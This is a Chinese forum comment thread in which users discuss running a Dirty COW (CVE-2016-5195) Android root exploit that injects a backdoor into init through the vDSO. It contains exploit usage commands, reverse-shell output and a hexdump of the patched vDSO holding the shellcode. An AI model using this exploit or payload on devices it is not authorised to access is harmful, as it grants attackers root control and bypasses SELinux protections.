1
sxd 2017-01-21 08:47:12 +08:00 2
我没救了 第一眼就断句错误
|
4
leafleave 2017-01-21 09:08:40 +08:00 via Android 1
支持支持
|
5
Phant0m 2017-01-21 09:37:09 +08:00 via iPhone 1
搞了一个基
|
6
ragnaroks 2017-01-21 09:48:12 +08:00 1
搞了一个基+1,而且脑海中自然浮现 van...
|
7
postlive 2017-01-21 09:53:12 +08:00 via Android 1
楼主 有编译好的吗 我测试一下
[email protected] 谢谢了 |
8
hyln9 OP @postlive github 的 release 里面有编译好的版本。
这个 build 需要在原生的 aarch64 的 debian 下面,确实麻烦了一点。 |
10
FindHao 2017-01-21 10:19:15 +08:00 1
https://github.com/timwr/CVE-2016-5195/issues/9
追这个 issue 追了好久,不知道后续如何。看下你的思路。 |
11
hyln9 OP @FindHao
那个并不是完整的 root 方案,最后应该还是没有解决 SELinux 的问题。 我采用了 vDSO 注入 init 进程一个后门(就是那个 payload.s )的手段,绕开了 SELinux 并直接获得 root shell ,没有动文件系统,也就是说原理是完全不同的。 |
13
tewilove 2017-01-21 11:24:13 +08:00 via iPhone
用户态 bypass 个毛线的 selinux 啊,运气好碰到能让你动的机器而已
|
14
hyln9 OP @tewilove 我注入了 init 进程,可以 disable selinux ,不然 SuperSU 也就不复存在了。也许"bypass"这个词有歧义,但是在与此相关的项目中均使用这个含义,我也就随了。
|
16
langmoe 2017-01-21 12:08:54 +08:00
厉害了,码一个
|
17
postlive 2017-01-21 16:10:50 +08:00
小白请教 win10 下用的 adb nc
是在 / data / local / tmp 下直接运行 ./dirtycows 手机 IP 1234 是这样吗 |
18
bdbai 2017-01-21 17:29:40 +08:00 via iPhone
感谢楼主,我在天猫魔盒的 云 OS 上跑起来了。只是 reverse shell 要怎么用?
|
19
hyln9 OP @postlive 直接 ./exploit port 不用 nc ,我内置了终端,当然也可以./exploit ip port 指定 nc 的地址。不过你最好是 Android 6.0.1 因为别的版本我可能还需要补充一些数据。中间有一步“ wake up ”是指从休眠状态唤醒一下你的手机屏幕,一般这样会触发漏洞。
|
21
hyln9 OP @bdbai 你已经得到 shell 了吗?就是提示“ enjoy ”。如果是的话,那就是 root shell ,还具有 init 的 context ,然后你想干嘛干嘛咯,比如 remount 分区成 rw 然后手动安装 SuperSU 。不过这些功能还没有去实现自动化。
|
22
bdbai 2017-01-21 18:07:28 +08:00 via iPhone
@hyln9 在 "Waiting for reverse connect shell" 阶段然后要怎么做?
我试着用 telnet 连 localhost:8080 (之前指定了 8080 )然后这里出现 "enjoy",但两边不管输入什么都只会同时回显。姿势不对? |
23
hyln9 OP |
24
hyln9 OP |
25
Lentin 2017-01-21 19:15:36 +08:00
nexus 5 运行不能……没有编译 arm 的版本?
1|shell@hammerhead:/ $ /data/local/tmp/exploit 1234 /system/bin/sh: /data/local/tmp/exploit: not executable: 64-bit ELF file |
26
Lentin 2017-01-21 19:21:14 +08:00
|
27
Lentin 2017-01-21 19:25:43 +08:00
好吧没看到 for 64-bit
|
28
kamen 2017-01-21 20:15:15 +08:00 via Android
dirtycow-capable 的具体条件是啥?
|
30
app13 2017-01-21 20:22:32 +08:00
不知道影不影响三棒的 knox...
|
31
woyaojizhu8 2017-01-21 21:11:05 +08:00
请问可否与 phh 的 superuser 集成?
|
32
tyeken8 2017-01-21 22:00:53 +08:00
Xperia X Performance
Android 6.0.1 Security Patch Sept. 1 2016 Kernel version 3.18.20-perf-g776b104-02162-g4156bdb #1 SMP PREEMPT Fri Oct 7 19:01:11 2016 aarch64 shell@SOV33:/data/local/tmp $ ./exploit 12345 >>> Reverse shell target: 127.0.0.1:12345 >>> Exploit process starts. >>> Inject: patch 1/2 >>> Inject: patch 2/2 >>> Please wake up you phone now. >>> Waiting for reverse connect shell. 然后就卡住了 请问可能的原因是什么,有什么解决方法? (记得我之前用另外的 exploit 成功拿到了 root shell ,但是没有 bypass selinux |
33
woyaojizhu8 2017-01-21 22:13:46 +08:00
在三星 note5 上试了下,运行之后手机无反应,看来是已经修复这个漏洞了
|
34
woyaojizhu8 2017-01-21 22:14:52 +08:00
@tyeken8 我也是卡在这里了,这使我以为这个漏洞已经失效了
|
35
postlive 2017-01-21 22:57:07 +08:00
Internal error: insufficient place for payload.
提示这个 什么原因 |
36
woyaojizhu8 2017-01-21 23:05:10 +08:00
@hyln9 我的华为手机也是卡在 Waiting for reverse connect shell ,它的安卓补丁版本是 9 月的,应该还没修复这个漏洞;多次熄屏再唤醒也无效,这会是什么原因 ?
|
38
postlive 2017-01-21 23:57:32 +08:00
在 ADB 下执行 ./dirtycows 1234 之后就卡在 >>> Waiting for reverse connect shell. 这不动 超过 5 分钟没反应 屏幕设置的是长亮 没有锁屏
重新打开一个 Telnet 连接 手机 IP 1234 之后 就出现>>> Enjoy! 然后按什么都是没反应 没提示的状态 |
39
hyln9 OP @postlive
” Internal error: insufficient place for payload. “是因为没有成功触发所以没有清除掉后门,目前我还没有处理这个情况,你只好重启来解决这个问题了。 另外,特别需要的那一步不是使手机保持唤醒,而是要有唤醒的动作,也即从休眠状态到唤醒的一下。 我正在研究 Android 的源码寻找别的触发机会。 |
42
hyln9 OP @tyeken8
首先你可以尝试一下我发现的新的触发手段:打开系统自带的闹钟 /时钟 APP 其次请检查 /data/local/tmp/.x 是否存在,有则删之(注意是个隐藏文件),保证在“ Waiting for reverse connect shell.”时那个文件是不存在的。 最后由于我现在忽略的注入后的检查,因此有可能并没有注入成功,这个就比较悲剧了,我打算加上 log ,方便大家调试。 我测试过的两台手机全是国产的,分别是乐 max2 和中兴 blade a2 。 |
43
hyln9 OP @woyaojizhu8 这是由于漏洞没有触发或者根本没有注入成功,对于前者,我上面有一些补充,对于后者,我之后会加入日志方便调试。
|
44
hyln9 OP |
45
SuperFashi 2017-01-22 10:55:52 +08:00
果然不行了,看了眼内核版本是 Dec 19 的。
|
47
makendk 2017-01-22 15:58:06 +08:00
不行啊,卡到 >>> Waiting for reverse connect shell. 这里没反应
严格按照你说的步骤操作的,几种触发方式都试过了, V0.1.1 版本 |
48
bdbai 2017-01-22 16:02:21 +08:00 via Android 1
@hyln9 又试了一下,休眠唤醒多次并没有成功,电视盒子上也没有自带闹钟应用 :(
总之很感谢你,请收下铜币。 |
50
hyln9 OP @bdbai
@tyeken8 @makendk 我赶紧补足了一些 debug 功能,如果可以的话,请下载 dbg 版本,将运行之后生成的“ vdso_orig.so ”和“ vdso_patched.so ”发送至我的邮箱: hyln9$live.cn ($换成 @),谢谢! 其中不包含任何个人信息,只包含 kernel 的一部分纯代码的 dump 。 |
53
makendk 2017-01-22 22:37:08 +08:00
|
56
tyeken8 2017-01-22 23:17:54 +08:00
@hyln9
$ diff <(hexdump -C vdso_orig.so) <(hexdump -C vdso_patched.so) 52c52 < 00000330 1f 00 00 71 04 18 41 7a 81 02 00 54 e2 03 1e aa |...q..Az...T....| --- > 00000330 f0 03 1e aa ea 02 00 94 81 02 00 54 e2 03 1e aa |...........T....| 171a172,190 > 00000ed0 00 00 00 00 00 00 00 00 00 00 00 00 e0 07 bf a9 |................| > 00000ee0 c8 15 80 d2 01 00 00 d4 a0 06 00 35 88 15 80 d2 |...........5....| > 00000ef0 01 00 00 d4 1f 04 00 71 21 06 00 54 00 00 80 52 |.......q!..T...R| > 00000f00 a1 06 00 10 02 18 80 52 03 38 80 52 08 07 80 d2 |.......R.8.R....| > 00000f10 01 00 00 d4 1f 04 40 b1 28 05 00 54 20 02 80 d2 |......@.(..T ...| > 00000f20 01 00 80 d2 02 00 80 d2 03 00 80 d2 04 00 80 d2 |................| > 00000f30 88 1b 80 d2 01 00 00 d4 20 04 00 35 40 00 80 d2 |........ ..5@...| > 00000f40 21 00 80 d2 02 00 80 d2 c8 18 80 d2 01 00 00 d4 |!...............| > 00000f50 e3 03 00 aa a1 04 00 10 02 02 80 d2 68 19 80 d2 |............h...| > 00000f60 01 00 00 d4 60 02 00 35 e0 03 03 aa 02 00 80 d2 |....`..5........| > 00000f70 01 00 80 d2 08 03 80 d2 01 00 00 d4 21 00 80 d2 |............!...| > 00000f80 08 03 80 d2 01 00 00 d4 41 00 80 d2 08 03 80 d2 |........A.......| > 00000f90 01 00 00 d4 e0 02 00 10 02 00 80 d2 e0 03 00 f9 |................| > 00000fa0 e2 07 00 f9 e1 03 00 91 a8 1b 80 d2 01 00 00 d4 |................| > 00000fb0 00 00 80 d2 a8 0b 80 d2 01 00 00 d4 e0 07 c1 a8 |................| > 00000fc0 f1 03 1e aa fe 03 10 aa 1f 00 00 71 04 18 41 7a |...........q..Az| > 00000fd0 20 02 1f d6 2f 64 61 74 61 2f 6c 6f 63 61 6c 2f | .../data/local/| > 00000fe0 74 6d 70 2f 2e 78 00 00 02 00 04 d2 7f 00 00 01 |tmp/.x..........| > 00000ff0 2f 73 79 73 74 65 6d 2f 62 69 6e 2f 73 68 00 00 |/system/bin/sh..| (完整 dump 已发到邮箱) |
58
makendk 2017-01-24 15:35:18 +08:00
dump 发到邮箱了
|
59
zke1e 2017-01-24 15:54:33 +08:00
很厉害啊,我也是做 android 安全的,一起交流下。
|
60
Damn 2017-01-25 04:11:58 +08:00
Huawei VNS-DL00
Android 6.0 Linux localhost 3.10.90-g6a1c5f3 #1 SMP PREEMPT Tue Sep 13 07:02:46 CST 2016 aarch64 shell@HWVNS-H:/data/local/tmp/exploit 12345 >>> Reverse shell target: 127.0.0.1:12345 >>> Exploit process starts. >>> Inject: patch 1/2 >>> Inject: patch 2/2 >>> Please wake up you phone now. >>> Waiting for reverse connect shell. |
61
postlive 2017-01-26 10:47:32 +08:00 via Android
楼主怎么不高新了???
|
62
lq875502530 2017-04-14 17:34:36 +08:00
怎么用啊我完全不懂
|
63
mayl8822 2017-06-22 10:20:45 +08:00
楼主在哪个平台上编译的啊, 我用 ndk 编译出现这个
./payload.s: Error: unaligned opcodes detected in executable segment |
64
PaTTeeL 2022-04-09 09:25:37 +08:00
@hyln9 求助楼主,貌似项目已经只读了?下载了 release 中的 0.1.1 版文件,华为荣耀畅玩 5C ,EMUI4.1.1 ,Android6.0 ,安全补丁级别 2016 年 9 月 1 日,内核 3.10.94 ,尝试了不管是反复唤醒手机还是打开系统自带的闹钟或者时钟都无法成功触发,一直卡在 ====TERMINAL====== 上不动,最近翻出旧手机想折腾一下,华为锁了 bootloader ,貌似就你的项目可以 bypass SELinux ,所以想着能不能直接 root 之后拿来抢菜,最近隔离的快断粮了>_<!,如果能搞一下的话感激不尽!
|
65
hyln9 OP @PaTTeeL 如果 init 进程 policy 比较严的话,会导致 shell 触发不了,需要附加别的 exploit ,比较麻烦。GitHub 上有几个 Huawei/Honor 的 unlock 项目,可以尝试下。
|
66
PaTTeeL 2022-04-12 01:43:53 +08:00
@hyln9 感谢大神的答复,unlocker 尝试过了,貌似欧洲机器的解锁码才是全数字,国内机器解锁码带字母,枚举的话几百年,这辈子应该是没戏了,还是去某宝找找商家吧。。。
另外因为家里还多安卓机设备也需要类似的 root 方法,所以还想请教一下新手编译问题,我自己下载 NDK 编译的时候总是报错 Error 127 ,我尝试过了 23b 、14b 和 15c 这三个版本,貌似 dirtycow 相关的项目都是报的 127 错误,能请教一下是啥问题吗?我现在都是找的已编译的二进制文件才能操作。 部分 make -d 的信息如下: GNU Make 4.2.1 Built for x86_64-pc-linux-gnu Copyright (C) 1988-2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Reading makefiles... Reading makefile 'Makefile'... Updating makefiles.... Considering target file 'Makefile'. Looking for an implicit rule for 'Makefile'. Trying pattern rule with stem 'Makefile'. Trying implicit prerequisite 'Makefile.o'. Trying pattern rule with stem 'Makefile'. Trying implicit prerequisite 'Makefile.c'. …… Looking for a rule with intermediate file 'payload.S'. Avoiding implicit rule recursion. Trying pattern rule with stem 'payload.S'. Trying implicit prerequisite 'payload.S,v'. Trying pattern rule with stem 'payload.S'. Trying implicit prerequisite 'RCS/payload.S,v'. Trying pattern rule with stem 'payload.S'. Trying implicit prerequisite 'RCS/payload.S'. Trying pattern rule with stem 'payload.S'. Trying implicit prerequisite 's.payload.S'. Trying pattern rule with stem 'payload.S'. Trying implicit prerequisite 'SCCS/s.payload.S'. No implicit rule found for 'payload.s'. Finished prerequisites of target file 'payload.s'. No need to remake target 'payload.s'. Finished prerequisites of target file 'payload.o'. Must remake target 'payload.o'. aarch64-linux-android-as -o payload.o payload.s Putting child 0x7ffff3d36320 (payload.o) PID 49 on the chain. Live child 0x7ffff3d36320 (payload.o) PID 49 Reaping losing child 0x7ffff3d36320 PID 49 Removing child 0x7ffff3d36320 PID 49 from chain. |